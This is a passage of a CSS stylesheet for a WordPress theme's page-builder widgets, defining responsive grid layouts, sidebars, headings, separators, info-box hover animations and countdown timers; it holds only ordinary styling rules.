.penci-lposts-ctcol.pencisc-grid-3 .penci-grid,
.pencisc-grid-3 .pencisc-grid {
	grid-template-columns: repeat(3, 1fr);
	display: grid
}
.penci-featured-cat-ctcol.pencisc-grid-4 .home-featured-cat-content,
.penci-lposts-ctcol.pencisc-grid-4 .penci-grid,
.pencisc-grid-4 .pencisc-grid {
	grid-template-columns: repeat(4, 1fr);
	display: grid
}
.penci-featured-cat-ctcol.pencisc-grid-5 .home-featured-cat-content,
.penci-lposts-ctcol.pencisc-grid-5 .penci-grid,
.pencisc-grid-5 .pencisc-grid {
	grid-template-columns: repeat(5, 1fr);
	display: grid
}
.penci-featured-cat-ctcol.pencisc-grid-6 .home-featured-cat-content,
.penci-lposts-ctcol.pencisc-grid-6 .penci-grid,
.pencisc-grid-6 .pencisc-grid {
	grid-template-columns: repeat(6, 1fr);
	display: grid
}
@media (max-width:1024px) {
	.pencisc-grid-tablet-0 .pencisc-grid {
		display: -webkit-box;
		display: -webkit-flex;
		display: -ms-flexbox;
		display: flex;
		overflow: hidden;
		-webkit-flex-wrap: wrap;
		-ms-flex-wrap: wrap;
		flex-wrap: wrap
	}
	.penci-featured-cat-ctcol.pencisc-grid-tablet-1 .home-featured-cat-content,
	.penci-lposts-ctcol.pencisc-grid-tablet-1 .penci-grid,
	.pencisc-grid-tablet-1 .pencisc-grid {
		grid-template-columns: repeat(1, 1fr);
		display: grid
	}
	.penci-featured-cat-ctcol.pencisc-grid-tablet-2 .home-featured-cat-content,
	.penci-lposts-ctcol.pencisc-grid-tablet-2 .penci-grid,
	.pencisc-grid-tablet-2 .pencisc-grid {
		grid-template-columns: repeat(2, 1fr);
		display: grid
	}
	.penci-featured-cat-ctcol.pencisc-grid-tablet-3 .home-featured-cat-content,
	.penci-lposts-ctcol.pencisc-grid-tablet-3 .penci-grid,
	.pencisc-grid-tablet-3 .pencisc-grid {
		grid-template-columns: repeat(3, 1fr);
		display: grid
	}
	.penci-featured-cat-ctcol.pencisc-grid-tablet-4 .home-featured-cat-content,
	.penci-lposts-ctcol.pencisc-grid-tablet-4 .penci-grid,
	.pencisc-grid-tablet-4 .pencisc-grid {
		grid-template-columns: repeat(4, 1fr);
		display: grid
	}
	.penci-featured-cat-ctcol.pencisc-grid-tablet-5 .home-featured-cat-content,
	.penci-lposts-ctcol.pencisc-grid-tablet-5 .penci-grid,
	.pencisc-grid-tablet-5 .pencisc-grid {
		grid-template-columns: repeat(5, 1fr);
		display: grid
	}
	.penci-featured-cat-ctcol.pencisc-grid-tablet-6 .home-featured-cat-content,
	.penci-lposts-ctcol.pencisc-grid-tablet-6 .penci-grid,
	.pencisc-grid-tablet-6 .pencisc-grid {
		grid-template-columns: repeat(6, 1fr);
		display: grid
	}
	.pencisc-grid-tablet-7 .pencisc-grid {
		grid-template-columns: repeat(7, 1fr);
		display: grid
	}
	.pencisc-grid-tablet-8 .pencisc-grid {
		grid-template-columns: repeat(8, 1fr);
		display: grid
	}
	.pencisc-grid-tablet-9 .pencisc-grid {
		grid-template-columns: repeat(9, 1fr);
		display: grid
	}
	.pencisc-grid-tablet-10 .pencisc-grid {
		grid-template-columns: repeat(10, 1fr);
		display: grid
	}
	.pencisc-grid-tablet-11 .pencisc-grid {
		grid-template-columns: repeat(11, 1fr);
		display: grid
	}
	.pencisc-grid-tablet-12 .pencisc-grid {
		grid-template-columns: repeat(12, 1fr);
		display: grid
	}
}
@media (max-width:767px) {
	.pencisc-grid-mobile-0 .pencisc-grid {
		display: -webkit-box;
		display: -webkit-flex;
		display: -ms-flexbox;
		display: flex;
		overflow: hidden;
		-webkit-flex-wrap: wrap;
		-ms-flex-wrap: wrap;
		flex-wrap: wrap
	}
	.penci-featured-cat-ctcol.pencisc-grid-mobile-1 .home-featured-cat-content,
	.penci-lposts-ctcol.pencisc-grid-mobile-1 .penci-grid,
	.pencisc-grid-mobile-1 .pencisc-grid {
		grid-template-columns: repeat(1, 1fr);
		display: grid
	}
	.penci-featured-cat-ctcol.pencisc-grid-mobile-2 .home-featured-cat-content,
	.penci-lposts-ctcol.pencisc-grid-mobile-2 .penci-grid,
	.pencisc-grid-mobile-2 .pencisc-grid {
		grid-template-columns: repeat(2, 1fr);
		display: grid
	}
	.penci-featured-cat-ctcol.pencisc-grid-mobile-3 .home-featured-cat-content,
	.penci-lposts-ctcol.pencisc-grid-mobile-3 .penci-grid,
	.pencisc-grid-mobile-3 .pencisc-grid {
		grid-template-columns: repeat(3, 1fr);
		display: grid
	}
	.penci-featured-cat-ctcol.pencisc-grid-mobile-4 .home-featured-cat-content,
	.penci-lposts-ctcol.pencisc-grid-mobile-4 .penci-grid,
	.pencisc-grid-mobile-4 .pencisc-grid {
		grid-template-columns: repeat(4, 1fr);
		display: grid
	}
	.penci-featured-cat-ctcol.pencisc-grid-mobile-5 .home-featured-cat-content,
	.penci-lposts-ctcol.pencisc-grid-mobile-5 .penci-grid,
	.pencisc-grid-mobile-5 .pencisc-grid {
		grid-template-columns: repeat(5, 1fr);
		display: grid
	}
	.penci-featured-cat-ctcol.pencisc-grid-mobile-6 .home-featured-cat-content,
	.penci-lposts-ctcol.pencisc-grid-mobile-6 .penci-grid,
	.pencisc-grid-mobile-6 .pencisc-grid {
		grid-template-columns: repeat(6, 1fr);
		display: grid
	}
	.pencisc-grid-mobile-7 .pencisc-grid {
		grid-template-columns: repeat(7, 1fr);
		display: grid
	}
	.pencisc-grid-mobile-8 .pencisc-grid {
		grid-template-columns: repeat(8, 1fr);
		display: grid
	}
	.pencisc-grid-mobile-9 .pencisc-grid {
		grid-template-columns: repeat(9, 1fr);
		display: grid
	}
	.pencisc-grid-mobile-10 .pencisc-grid {
		grid-template-columns: repeat(10, 1fr);
		display: grid
	}
	.pencisc-grid-mobile-11 .pencisc-grid {
		grid-template-columns: repeat(11, 1fr);
		display: grid
	}
	.pencisc-grid-mobile-12 .pencisc-grid {
		grid-template-columns: repeat(12, 1fr);
		display: grid
	}
}
.container.two-sidebar {
	width: var(--pcctain2);
	display: flex;
	flex-wrap: wrap
}
.container.penci-breadcrumb.two-sidebar {
	display: block
}
.penci-two-sidebar .container.penci-breadcrumb {
	width: var(--pcctain2);
	display: block
}
.penci-vc-row.penci-vc-dis-padding {
	margin-left: 0;
	margin-right: 0
}
.container.two-sidebar #main,
.layout-14_12_14 .penci-main-content {
	width: 57%;
	order: 2;
	padding-left: 50px;
	padding-right: 50px
}
.container.two-sidebar .penci-sidebar-content,
.layout-14_12_14 .penci-vc-sidebar {
	width: 21.5%
}
.container.two-sidebar .penci-sidebar-left,
.layout-14_12_14 .penci-sidebar-left {
	order: 1
}
.container.two-sidebar .penci-sidebar-right,
.layout-14_12_14 .penci-sidebar-right {
	order: 3
}
.layout-12_14_14 .penci-main-content {
	order: 1;
	width: 53.5%;
	padding-right: 50px
}
.layout-12_14_14 .penci-sidebar-left {
	order: 2;
	width: 25%;
	padding-right: 50px
}
.layout-12_14_14 .penci-sidebar-right {
	order: 3;
	width: 21.5%
}
.layout-14_14_12 .penci-main-content {
	order: 3;
	width: 53.5%;
	padding-left: 50px
}
.layout-14_14_12 .penci-sidebar-left {
	order: 1;
	width: 21.5%
}
.layout-14_14_12 .penci-sidebar-right {
	order: 2;
	width: 25%;
	padding-left: 50px
}
.layout-13_23 .penci-main-content,
.layout-23_13 .penci-main-content {
	width: 70.94%;
	float: left
}
.layout-23_13 .penci-main-content {
	padding-right: 50px
}
.layout-13_23 .penci-main-content {
	padding-left: 50px
}
.layout-13_23 .penci-vc-sidebar,
.layout-23_13 .penci-vc-sidebar {
	width: 29.06%;
	float: right
}
.penci-vc-container {
	margin-left: auto;
	margin-right: auto
}
.vc-penci-w1080,
.vc-penci-w1170,
.vc-penci-w1400 {
	width: 100%
}
.vc-penci-w1080 {
	max-width: 1080px
}
.vc-penci-w1170 {
	max-width: var(--pcctain)
}
.vc-penci-w1400 {
	max-width: var(--pcctain2)
}
.penci-missing-settings {
	font-size: 13px;
	font-weight: 400;
	text-align: left;
	padding: 10px 10px 5px;
	outline: 2px dashed #d4d4d4;
	color: #131313;
	font-family: Verdana, Geneva, sans-serif;
	cursor: pointer;
	margin-top: 10px;
	margin-bottom: 10px
}
.penci-missing-settings span {
	font-size: 11px;
	position: relative;
	margin-right: 10px;
	margin-bottom: 5px;
	background-color: red;
	color: #fff;
	font-weight: 700;
	padding: 5px 10px;
	display: inline-block;
	vertical-align: top
}
.block-title-icon-left .inner-arrow i,
.block-title-icon-left .inner-arrow svg {
	margin-right: 8px;
	transition: 0.3s all ease-in-out;
}
.block-title-icon-right .inner-arrow i,
.block-title-icon-right .inner-arrow svg {
	margin-left: 8px;
	transition: 0.3s all ease-in-out;
}
.inner-arrow svg path {
	transition: 0.3s all ease-in-out;
}
.block-title-icon-left .inner-arrow svg,
.block-title-icon-right .inner-arrow svg {
	width: 16px;
	height: auto;
}
.penci-fancy-heading.penci-block-vc {
	background-color: transparent
}
.penci-fancy-heading.penci-heading-text-center {
	text-align: center
}
.penci-fancy-heading.penci-heading-text-center .penci-heading-content,
.penci-fancy-heading.penci-heading-text-center .penci-heading-subtitle {
	margin-left: auto;
	margin-right: auto
}
.penci-fancy-heading .penci-heading-content p {
	line-height: inherit;
	font-size: inherit;
	color: inherit;
	margin-bottom: 17px
}
.penci-fancy-heading .penci-heading-content p:last-child {
	margin-bottom: 0
}
.penci-fancy-heading.penci-heading-text-right {
	text-align: right;
	overflow: hidden
}
.penci-fancy-heading.penci-heading-text-right .penci-heading-content,
.penci-fancy-heading.penci-heading-text-right .penci-heading-subtitle,
.penci-fancy-heading.penci-heading-text-right .penci-heading-title {
	text-align: right;
	clear: both
}
.penci-fancy-heading.penci-heading-text-right .penci-heading-content {
	margin-right: 0;
	margin-left: auto
}
.penci-fancy-heading.penci-heading-text-right li {
	text-align: right;
	list-style-position: inside
}
.penci-fancy-heading.penci-heading-text-left {
	text-align: left
}
.penci-fancy-heading.penci-heading-text-left .penci-heading-content,
.penci-fancy-heading.penci-heading-text-left .penci-heading-subtitle,
.penci-fancy-heading.penci-heading-text-left .penci-heading-title {
	text-align: left;
	clear: both
}
.penci-fancy-heading.penci-heading-text-left .penci-heading-content {
	margin-right: auto;
	margin-left: 0
}
.penci-fancy-heading .penci-heading-title {
	font-size: 36px;
	color: #111;
	margin-top: 0;
	margin-bottom: 5px;
	line-height: 1.3;
	overflow: hidden
}
.penci-fancy-heading .inner-tit {
	font-size: inherit;
	font-weight: inherit;
	color: inherit;
	display: inline-block;
	vertical-align: top;
	font-family: inherit
}
.penci-fancy-heading.pc-fctline .inner-tit {
	position: relative;
	padding: 0 20px
}
.penci-fancy-heading.pc-fctline .inner-tit:after,
.penci-fancy-heading.pc-fctline .inner-tit:before {
	content: "";
	height: 1px;
	top: 50%;
	right: 100%;
	width: 1000px;
	display: block;
	background: var(--pcborder-cl);
	position: absolute;
	margin-top: 1px
}
.penci-fancy-heading.pc-fctline .inner-tit:after {
	right: auto;
	left: 100%
}
.penci-fancy-heading .penci-heading-subtitle {
	margin-bottom: 10px
}
.penci-fancy-heading .penci-heading-title+.penci-heading-subtitle {
	margin-top: 10px
}
.penci-fancy-heading .penci-heading-content,
.penci-fancy-heading .penci-heading-subtitle {
	font-size: 16px
}
.penci-fancy-heading .penci-heading-content {
	margin-top: 10px;
	clear: both
}
.penci-fancy-heading .penci-separator {
	margin-bottom: 15px
}
.penci-separator {
	display: flex;
	flex-direction: row;
	flex-wrap: nowrap;
	align-items: center;
	max-width: 60px;
	width: 100%;
	clear: both
}
.penci-separator-left .penci-heading-icon {
	margin-left: 0 !important
}
.penci-heading-text-left .inner-tit {
	padding-left: 0 !important
}
.penci-separator-center {
	margin-left: auto;
	margin-right: auto
}
.penci-separator-right {
	float: right
}
.penci-separator-right .penci-heading-icon {
	margin-right: 0 !important
}
.penci-heading-text-right .inner-tit {
	padding-right: 0 !important
}
.penci-separator-left .penci-sep_holder_l,
.penci-separator-right .penci-sep_holder_r {
	display: none
}
.penci-separator .penci-sep_holder {
	height: 1px;
	position: relative;
	-webkit-box-flex: 1;
	-webkit-flex: 1 1 auto;
	-ms-flex: 1 1 auto;
	flex: 1 1 auto;
	min-width: 10%
}
.penci-separator .penci-sep_line {
	height: 1px;
	border-top: 1px solid #dedede;
	border-color: #dedede;
	display: block;
	position: relative;
	top: 1px;
	width: 100%;
	border-bottom: none;
	border-left: none;
	border-right: none
}
.penci-separator-dotted .penci-sep_line {
	border-style: dotted
}
.penci-separator-dashed .penci-sep_line {
	border-style: dashed
}
.penci-separator-double .penci-sep_line {
	border-top-style: double;
	border-top-width: 4px;
	top: -2px
}
.penci-separator .penci-heading-icon {
	margin: 10px 15px;
	font-size: 20px;
	color: var(--pcaccent-cl)
}
.penci-animation-shrink {
	transition-duration: .3s;
	transition-property: transform
}
.penci-animation-shrink:active .penci-ibox-icon,
.penci-animation-shrink:hover .penci-ibox-icon {
	transform: scale(.9)
}
.penci-animation-grow {
	transition-duration: .3s;
	transition-property: transform
}
.penci-animation-grow:active .penci-ibox-icon,
.penci-animation-grow:hover .penci-ibox-icon {
	transform: scale(1.1)
}
@keyframes penci-animation-pulse {
	25% {
		transform: scale(1.1)
	}
	75% {
		transform: scale(.9)
	}
}
.penci-animation-pulse:active .penci-ibox-icon,
.penci-animation-pulse:hover .penci-ibox-icon {
	animation-name: penci-animation-pulse;
	animation-duration: 1s;
	animation-timing-function: linear;
	animation-iteration-count: infinite
}
@keyframes penci-animation-pulse-grow {
	to {
		transform: scale(1.1)
	}
}
.penci-animation-pulse-grow:active .penci-ibox-icon,
.penci-animation-pulse-grow:hover .penci-ibox-icon {
	animation-name: penci-animation-pulse-grow;
	animation-duration: .3s;
	animation-timing-function: linear;
	animation-iteration-count: infinite;
	animation-direction: alternate
}
@keyframes penci-animation-pulse-shrink {
	to {
		transform: scale(.9)
	}
}
.penci-animation-pulse-shrink:active .penci-ibox-icon,
.penci-animation-pulse-shrink:hover .penci-ibox-icon {
	animation-name: penci-animation-pulse-shrink;
	animation-duration: .3s;
	animation-timing-function: linear;
	animation-iteration-count: infinite;
	animation-direction: alternate
}
@keyframes penci-animation-push {
	50% {
		transform: scale(.8)
	}
	100% {
		transform: scale(1)
	}
}
.penci-animation-push:active .penci-ibox-icon,
.penci-animation-push:hover .penci-ibox-icon {
	animation-name: penci-animation-push;
	animation-duration: .3s;
	animation-timing-function: linear;
	animation-iteration-count: 1
}
@keyframes penci-animation-pop {
	50% {
		transform: scale(1.2)
	}
}
.penci-animation-pop:active .penci-ibox-icon,
.penci-animation-pop:hover .penci-ibox-icon {
	animation-name: penci-animation-pop;
	animation-duration: .3s;
	animation-timing-function: linear;
	animation-iteration-count: 1
}
.penci-icon {
	display: inline-block;
	line-height: 1;
	-webkit-transition: all .3s;
	-o-transition: all .3s;
	transition: all .3s;
	color: #818a91;
	font-size: 50px;
	text-align: center
}
.penci-icon i {
	width: 1em;
	height: 1em;
	position: relative;
	z-index: 20;
	display: block
}
.penci-info-box .penci-icon i:before,
.penci-info-box .penci-icon svg:before {
	position: absolute;
	left: 50%;
	top: 0;
	-webkit-transform: translateX(-50%);
	-ms-transform: translateX(-50%);
	transform: translateX(-50%)
}
.penci-icon:hover {
	color: #818a91
}
.penci-view-stacked .penci-icon {
	padding: .5em;
	background-color: #818a91;
	color: #fff;
	fill: #fff
}
.penci-view-stacked .penci-icon a {
	color: inherit
}
.penci-view-framed .penci-icon {
	padding: .5em;
	color: #818a91;
	border: 3px solid #818a91;
	background-color: transparent !important
}
.penci-shape-circle .penci-icon {
	-webkit-border-radius: 50%;
	border-radius: 50%
}
.penci-info-box {
	position: relative;
	margin-top: 0;
	padding-left: 0;
	padding-right: 0;
	transition: background-color .3s, background-image .3s, box-shadow .3s
}
.penci-info-box:after,
.penci-info-box:before {
	content: "";
	display: table;
	clear: both
}
.penci-info-box .penci-ibox-img_active {
	transition: all .7s
}
.penci-info-box .penci-ibox-img_hover {
	opacity: 0;
	visibility: hidden;
	position: absolute;
	top: auto;
	left: 0;
	transition: all .7s
}
.penci-info-box .penci-ibox-icon--image {
	width: 90px;
	height: auto !important;
	overflow: hidden;
	position: relative
}
.penci-info-box .penci-ibox-icon--image img {
	width: 100%;
	height: auto
}
.penci-info-box.penci-shape-circle .penci-ibox-icon--image {
	border-radius: 50%;
	-webkit-border-radius: 50%
}
.penci-info-box .penci-ibox-line {
	margin-top: 10px;
	margin-bottom: 0;
	width: 40px;
	height: 2px;
	background: var(--pcaccent-cl);
	display: inline-block;
	vertical-align: top
}
.penci-info-box .penci-ibox-icon svg {
	vertical-align: top;
	transition: fill .15s
}
.penci-info-box .penci-ibox-icon-fa {
	z-index: 2;
	position: relative
}
.penci-info-box a.penci-ibox-icon-fa-fix {
	z-index: 25;
	position: absolute;
	top: 0;
	left: 0;
	bottom: 0;
	right: 0;
	display: flex;
	align-items: center;
	justify-content: center
}
.penci-iboxwrap-overlay {
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	z-index: 30;
	display: block
}
.penci-info-box .penci-ibox-inner:hover .penci-ibox-icon--image.has-hover .penci-ibox-img_active {
	opacity: 0;
	visibility: hidden
}
.penci-info-box .penci-ibox-inner:hover .penci-ibox-icon--image.has-hover .penci-ibox-img_hover {
	opacity: 1;
	visibility: visible
}
.penci-info-box .penci-ibox-inner .penci-ibox-icon--image .penci-ibox-icon-fa {
	display: block;
	width: 100%;
	height: auto;
}

.penci-info-box .penci-ibox-title {
	font-size: 20px;
	font-weight: 700;
	margin-bottom: 0;
	color: #111
}
.penci-info-box .penci-ibox-content {
	margin: 8px 0 0 0;
	color: #999;
	line-height: 1.7
}
.penci-info-box .penci-ibox-content a,
.penci-info-box .penci-ibox-content p {
	font-size: inherit;
	font-family: inherit;
	line-height: 1.7
}
.penci-info-box .pc-ibox-ctext {
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei)
}
.penci-info-box .penci-ibox-content>p:last-child {
	margin-bottom: 0
}
.penci-info-box .penci-ibox-stit {
	line-height: 1.4;
	margin-bottom: 5px;
	font-size: 13px;
	color: #666
}
.pc-ibox-wpline {
	line-height: 1
}
.penci-ibox-readmore,
.penci-media-rmbtn {
	margin-top: 15px;
	line-height: 1
}
.penci-info-box .penci-ibox-readmore a,
.penci-media-carousels .penci-media-rmbtn a {
	text-decoration: none;
	text-transform: uppercase;
	font-size: 14px;
	font-family: var(--pchead-font);
	font-weight: 500;
	background: #f2f2f2;
	color: #111;
	display: inline-block;
	vertical-align: top;
	transition: all .3s;
	padding: 12px 20px;
	line-height: 1;
	vertical-align: top
}
.penci-info-box .penci-ibox-readmore.pc-ibox-borders a,
.penci-media-carousels .penci-media-rmbtn.pc-rmbtn-borders a {
	border: 2px solid
}
.penci-info-box .penci-ibox-readmore a:hover,
.penci-media-carousels .penci-media-rmbtn a:hover {
	background: #ddd
}
.penci-ibox-top-center .penci-ibox-icon,
.penci-ibox-top-left .penci-ibox-icon,
.penci-ibox-top-right .penci-ibox-icon {
	margin-bottom: 20px;
	display: inline-flex;
	align-items: center;
	justify-content: center
}
.penci-ibox-top-center .penci-ibox-icon {
	margin-left: auto;
	margin-right: auto
}
.penci-ibox-top-center .penci-ibox-icon--image,
.penci-ibox-top-left .penci-ibox-icon--image,
.penci-ibox-top-right .penci-ibox-icon--image {
	height: auto
}
.penci-ibox-top-center .penci-ibox-inner {
	text-align: center
}
.penci-ibox-top-center .penci-ibox-icon--image {
	margin-left: auto;
	margin-right: auto
}
.penci-ibox-top-left .penci-ibox-inner {
	text-align: left
}
.penci-ibox-top-left .penci-ibox-inner .penci-ibox-icon {
	float: left
}
.penci-ibox-top-right .penci-ibox-inner {
	text-align: right
}
.penci-ibox-top-right .penci-ibox-inner .penci-ibox-icon {
	float: right
}
.penci-ibox-top-left .penci-ibox-content-wrap,
.penci-ibox-top-right .penci-ibox-content-wrap {
	clear: both
}
.penci-ibox-float-left .penci-ibox-inner {
	display: flex;
	text-align: left;
	flex-direction: row;
	align-items: flex-start
}
.penci-ibox-float-left .penci-ibox-icon {
	margin-right: 20px;
	margin-bottom: 0 !important
}
.penci-ibox-float-right .penci-ibox-icon {
	margin-left: 20px;
	margin-bottom: 0 !important
}
.penci-ibox-top-right .penci-ibox-icon--image {
	float: right
}
.penci-ibox-top-right .penci-ibox-content {
	clear: both
}
.penci-ibox-float-left .penci-ibox-icon,
.penci-ibox-float-right .penci-ibox-icon {
	display: inline-flex;
	flex: 0 0 auto;
	align-items: center;
	justify-content: center
}
.penci-ibox-float-right .penci-ibox-inner {
	display: flex;
	text-align: right;
	flex-direction: row-reverse;
	align-items: flex-start
}
.penci-info-box .penci-icon {
	position: relative
}
.penci-shape-circle .penci-animation-custom-1 .penci-ibox-icon:after,
.penci-shape-circle .penci-animation-custom-2 .penci-ibox-icon:after,
.penci-shape-circle .penci-animation-custom-3 .penci-ibox-icon:after,
.penci-shape-circle .penci-animation-custom-4 .penci-ibox-icon:after,
.penci-shape-circle .penci-animation-custom-5 .penci-ibox-icon:after {
	-webkit-border-radius: 50%;
	border-radius: 50%;
	z-index: 1
}
.penci-view-stacked .penci-animation-custom-1 .penci-ibox-icon:after,
.penci-view-stacked .penci-animation-custom-2 .penci-ibox-icon:after,
.penci-view-stacked .penci-animation-custom-3 .penci-ibox-icon:after,
.penci-view-stacked .penci-animation-custom-4 .penci-ibox-icon:after,
.penci-view-stacked .penci-animation-custom-5 .penci-ibox-icon:after {
	content: "";
	pointer-events: none;
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	padding: 0;
	box-shadow: 0 0 0 3px #818a91;
	transition: transform .3s, opacity .3s;
	opacity: 0
}
.penci-view-stacked .penci-animation-custom-2 .penci-ibox-icon:after {
	transform: scale(1.3)
}
.penci-view-stacked .penci-animation-custom-1 .penci-ibox-icon:after {
	transform: scale(.8)
}
.penci-view-stacked .penci-animation-custom-1:hover .penci-ibox-icon,
.penci-view-stacked .penci-animation-custom-2:hover .penci-ibox-icon {
	background-color: #818a91;
	color: #fff;
	fill: #fff
}
.penci-view-stacked .penci-animation-custom-1:hover .penci-ibox-icon:after,
.penci-view-stacked .penci-animation-custom-2:hover .penci-ibox-icon:after {
	-webkit-transform: scale(1.11);
	-moz-transform: scale(1.11);
	-ms-transform: scale(1.11);
	transform: scale(1.11);
	opacity: 1
}
.penci-view-stacked .penci-animation-custom-3 .penci-ibox-icon:after,
.penci-view-stacked .penci-animation-custom-4 .penci-ibox-icon:after,
.penci-view-stacked .penci-animation-custom-5 .penci-ibox-icon:after {
	transform: scale(1);
	box-shadow: none;
	background: #818a91;
	opacity: 1;
	z-index: 0
}
.penci-view-stacked .penci-animation-custom-3 .penci-ibox-icon,
.penci-view-stacked .penci-animation-custom-4 .penci-ibox-icon,
.penci-view-stacked .penci-animation-custom-5 .penci-ibox-icon {
	background-color: transparent !important;
	box-shadow: inset 0 0 0 3px #818a91
}
.penci-view-stacked .penci-animation-custom-3:hover .penci-ibox-icon:after {
	-webkit-transform: scale(.85);
	-moz-transform: scale(.85);
	-ms-transform: scale(.85);
	transform: scale(.85)
}
.penci-view-stacked .penci-animation-custom-4:hover .penci-ibox-icon:after {
	-webkit-transform: scale(0);
	-moz-transform: scale(0);
	-ms-transform: scale(0);
	transform: scale(0);
	opacity: 1
}
.penci-view-stacked .penci-animation-custom-4 .penci-ibox-icon:hover,
.penci-view-stacked .penci-animation-custom-5 .penci-ibox-icon:hover {
	color: #818a91;
	fill: #818a91
}
.penci-view-stacked .penci-animation-custom-5 {
	transition: color .3s
}
.penci-view-stacked .penci-animation-custom-5:hover .penci-ibox-icon:after {
	-webkit-transform: scale(1.3);
	-moz-transform: scale(1.3);
	-ms-transform: scale(1.3);
	transform: scale(1.3);
	opacity: 0
}
.penci-view-framed .penci-animation-custom-1 .penci-ibox-icon:after,
.penci-view-framed .penci-animation-custom-2 .penci-ibox-icon:after,
.penci-view-framed .penci-animation-custom-5 .penci-ibox-icon:after {
	content: "";
	pointer-events: none;
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	padding: 0;
	transition: transform .2s, opacity .2s;
	opacity: 0
}
.penci-view-framed .penci-animation-custom-1 .penci-ibox-icon:after {
	background: #818a91;
	z-index: -1;
	transform: scale(1.3)
}
.penci-view-framed .penci-animation-custom-1 .penci-ibox-icon:hover {
	color: #fff
}
.penci-view-framed .penci-animation-custom-1:hover .penci-ibox-icon:after {
	transform: scale(1);
	opacity: 1
}
.penci-view-framed .penci-animation-custom-2 .penci-ibox-icon:after {
	z-index: 10;
	border: 3px dashed #818a91;
	top: -3px;
	left: -3px;
	right: -3px;
	bottom: -3px;
	width: auto;
	height: auto;
	opacity: 1
}
.penci-view-framed .penci-animation-custom-2 .penci-ibox-icon:hover {
	border-color: transparent !important
}
.penci-view-framed .penci-animation-custom-3 .penci-ibox-icon {
	box-shadow: 0 0 0 4px rgba(255, 255, 255, 1);
	overflow: hidden;
	transition: background .3s, color .3s, box-shadow .3s
}
.penci-view-framed .penci-animation-custom-3:hover .penci-ibox-icon--i {
	-webkit-animation: penciIconToRightFromLeft .3s forwards;
	-moz-animation: penciIconToRightFromLeft .3s forwards;
	animation: penciIconToRightFromLeft .3s forwards
}
@-webkit-keyframes penciIconToRightFromLeft {
	49% {
		-webkit-transform: translate(100%)
	}
	50% {
		opacity: 0;
		-webkit-transform: translate(-100%)
	}
	51% {
		opacity: 1
	}
}
@keyframes penciIconToRightFromLeft {
	49% {
		transform: translate(100%)
	}
	50% {
		opacity: 0;
		transform: translate(-100%)
	}
	51% {
		opacity: 1
	}
}
@-webkit-keyframes penciIconspinAround {
	from {
		-webkit-transform: rotate(0)
	}
	to {
		-webkit-transform: rotate(360deg)
	}
}
@keyframes penciIconspinAround {
	from {
		transform: rotate(0)
	}
	to {
		transform: rotate(360deg)
	}
}
.penci-view-framed .penci-animation-custom-4:hover .penci-ibox-icon--i {
	-webkit-animation: penciIconspinAround 2s linear infinite;
	-moz-animation: penciIconspinAround 2s linear infinite;
	animation: penciIconspinAround 2s linear infinite
}
.penci-view-framed .penci-animation-custom-5 .penci-ibox-icon:after {
	z-index: 10;
	border: 3px solid #818a91;
	top: -3px;
	left: -3px;
	right: -3px;
	bottom: -3px;
	width: auto;
	height: auto;
	opacity: 1
}
.penci-view-framed .penci-animation-custom-5:hover {
	border-color: transparent !important;
	box-shadow: 0 0 0 6px #818a91
}
.penci-view-framed .penci-animation-custom-5:hover .penci-ibox-icon:after {
	-webkit-transform: scale(.85);
	-moz-transform: scale(.85);
	-ms-transform: scale(.85);
	transform: scale(.85);
	opacity: .5
}
.penci-countdown-bsc {
	overflow: hidden
}
.penci-countdown-bsc:after,
.penci-countdown-bsc:before {
	content: "";
	display: table;
	clear: both
}
.penci-countdown-bsc.penci-style-center {
	text-align: center
}
.penci-countdown-bsc.penci-style-right {
	text-align: right
}
.penci-countdown-bsc.penci-border-solid .penci-countdown-amount {
	border-style: solid
}
.penci-countdown-bsc.penci-border-dashed .penci-countdown-amount {
	border-style: dashed
}
.penci-countdown-bsc.penci-border-dotted .penci-countdown-amount {
	border-style: dotted
}
.penci-countdown-bsc.penci-border-double .penci-countdown-amount {
	border-style: double
}
.penci-countdown-rtl {
	direction: rtl
}
.penci-countdown-holding span {
	color: #888
}
.penci-countdown-row {
	clear: both;
	width: 100%;
	padding: 0;
	display: block;
	margin: -30px auto 0
}
.penci-countdown-show1 .penci-countdown-section {
	width: 100%
}
.penci-countdown-show2 .penci-countdown-section {
	width: 50%
}
.penci-countdown-show3 .penci-countdown-section {
	width: 33.3333%
}
.penci-countdown-show4 .penci-countdown-section {
	width: 25%
}
.penci-countdown-show5 .penci-countdown-section {
	width: 20%
}
.penci-countdown-show6 .penci-countdown-section {
	width: 16.6666667%
}
.penci-countdown-show7 .penci-countdown-section {
	width: 14.2857143%
}
.penci-countdown-section {
	display: block;
	float: left;
	font-size: 75%;
	padding: 30px 15px 0
}
.penci-countdown-s1.penci-style-left .penci-countdown-section {
	padding-left: 0
}
.penci-countdown-s1.penci-style-right .penci-countdown-section {
	padding-right: 0
}
.penci-countdown-amount {
	font-size: 90px;
	color: #111;
	font-family: var(--pchead-font);
	-moz-box-sizing: content-box;
	-webkit-box-sizing: content-box;
	box-sizing: content-box;
	min-width: 1em;
	max-width: 100%;
	min-height: 1em;
	line-height: 1em;
	display: inline-block
}
.penci-countdown-s1 .penci-countdown-period {
	display: block;
	vertical-align: top
}
.penci-countdown-period {
	display: inline-block;
	padding: 0 4px;
	font-size: 20px;
	color: #111;
	line-height: 1;
	margin-top: 5px
}
.penci-period-upper .penci-countdown-period {
	text-transform: uppercase
}
.penci-countdown-descr {
	display: block;
	width: 100%
}
.penci-countdown-s2 .penci-countdown-row,
.penci-countdown-s3 .penci-countdown-row,
.penci-countdown-s4 .penci-countdown-row {
	margin-left: -15px;
	margin-right: -15px;
	width: calc(100% + 30px)
}
.penci-countdown-s2 .penci-countdown-section,
.penci-countdown-s3 .penci-countdown-section,
.penci-countdown-s4 .penci-countdown-section {
	position: relative
}
.penci-countdown-s2 .penci-countdown-section:before,
.penci-countdown-s3 .penci-countdown-section:before,
.penci-countdown-s4 .penci-countdown-section:before {
	content: "";
	padding-top: 100%;
	display: block
}
.penci-countdown-s2 .penci-span-inner,
.penci-countdown-s3 .penci-span-inner,
.penci-countdown-s4 .penci-span-inner {
	border-width: 1px;
	border-style: solid;
	border-radius: 5px;
	overflow: hidden;
	position: absolute;
	top: 30px;
	left: 15px;
	right: 15px;
	bottom: 0;
	display: flex;
	align-items: center;
	justify-content: center;
	flex-direction: column
}
.penci-countdown-s2 .penci-countdown-amount,
.penci-countdown-s3 .penci-countdown-amount,
.penci-countdown-s4 .penci-countdown-amount {
